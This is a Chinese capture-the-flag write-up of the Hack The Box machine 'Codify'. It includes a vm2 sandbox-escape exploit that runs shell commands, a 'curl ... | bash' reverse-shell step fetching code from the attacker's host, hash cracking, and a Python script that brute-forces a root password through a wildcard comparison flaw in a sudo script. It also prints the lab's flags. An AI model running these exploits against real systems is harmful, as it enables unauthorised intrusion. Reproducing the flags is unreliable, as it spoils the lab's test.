扫描靶机
nmap -sC -sV -T5 -Pn 10.10.11.239
扫描出域名,还有很多端口,把域名写进去hosts,然后再打开
从首页上面就已经介绍清楚了,这是一个nodejs的测试沙盒,不用注册用户的情况下可以使用,我tm竟然加载不出来,没关系,用dirsearch扫描一波
dirsearch -u http://codify.htb/
扫描出一个editor的页面,进去后是一个写nodejs代码的测试页面,这种沙盒有个漏洞,未授权的情况下可以远程执行命令,可以参考这篇文章
https://gist.github.com/leesh3288/f05730165799bf56d70391f3d9ea187c
参考代码
const {VM} = require("vm2");
const vm = new VM();
const code = `
aVM2_INTERNAL_TMPNAME = {};
function stack() {
new Error().stack;
stack();
}
try {
stack();
} catch (a$tmpname) {
a$tmpname.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`
console.log(vm.run(code));
直接复制该代码,运行cat命令,查看passwd内容
现在可以给shell,注意的是,直接使用bash的getshell是无法使用的
所以可以通过ssrf原理,进行反弹,本地写shell的index.html,开python服务器,然后反弹,这次我使用一下新的c2工具villain
curl 10.10.14.11 | bash
成功反弹shell,进入shell
在/var/www里面有个contact,里面有个db数据库文件,下载到本地,然后打开
拿到了一个joshua的hash,直接john爆破
john --wordlist=/home/uu/rockyou.txt hash
直接用ssh登录进去,拿到user flag:
9b18259eb63417915830a661011fe818
输入sudo -l查看提权信息
可以看到是一个mysql的bash文件,查看一下内容
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo
if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi
/usr/bin/mkdir -p "$BACKUP_DIR"
databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")
for db in $databases; do
/usr/bin/echo "Backing up database: $db"
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done
/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'
从上面可以看到,它是拿$DB_PASS跟 $USER_PASS做比较,假如输入一个字符,$USER_PASS是对输入的内容进行提取,没有用户的限制,输入*号键可以绕过验证
joshua@codify:~$ DB_PASS="caixukun"
joshua@codify:~$ USER_PASS="*"
joshua@codify:~$ if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi
Password confirmed!
joshua@codify:~$ USER_PASS="cxk"
joshua@codify:~$ if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi
Password confirmation failed!
所以开两个ssh,然后一个使用pspy64一个直接使用脚本
得到了kljh12k3jhaskjh12kjh3密码,直接su 拿到root flag
也可以写一个python,然后运行
import os
import string
charset = string.printable
resfult = ""
def get(caixukun):
temp_hash = os.popen(f"echo '{caixukun}'* | sudo /opt/scripts/mysql-backup.sh").read().split("n")[1]
return temp_hash == 'Password confirmed!'
def find_char():
for caixukun in charset:
test_data = resfult + caixukun
if get(test_data):
return caixukun
return None
while True:
new_char = find_char()
print(f"pass: {resfult + new_char}")
if not new_char:
break
else:
resfult += new_char
成功拿到root密码,拿到root flag:
090a94e632795bb528562f45d50c914e
原文始发于微信公众号(Jiyou too beautiful):HTB-Codify笔记
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论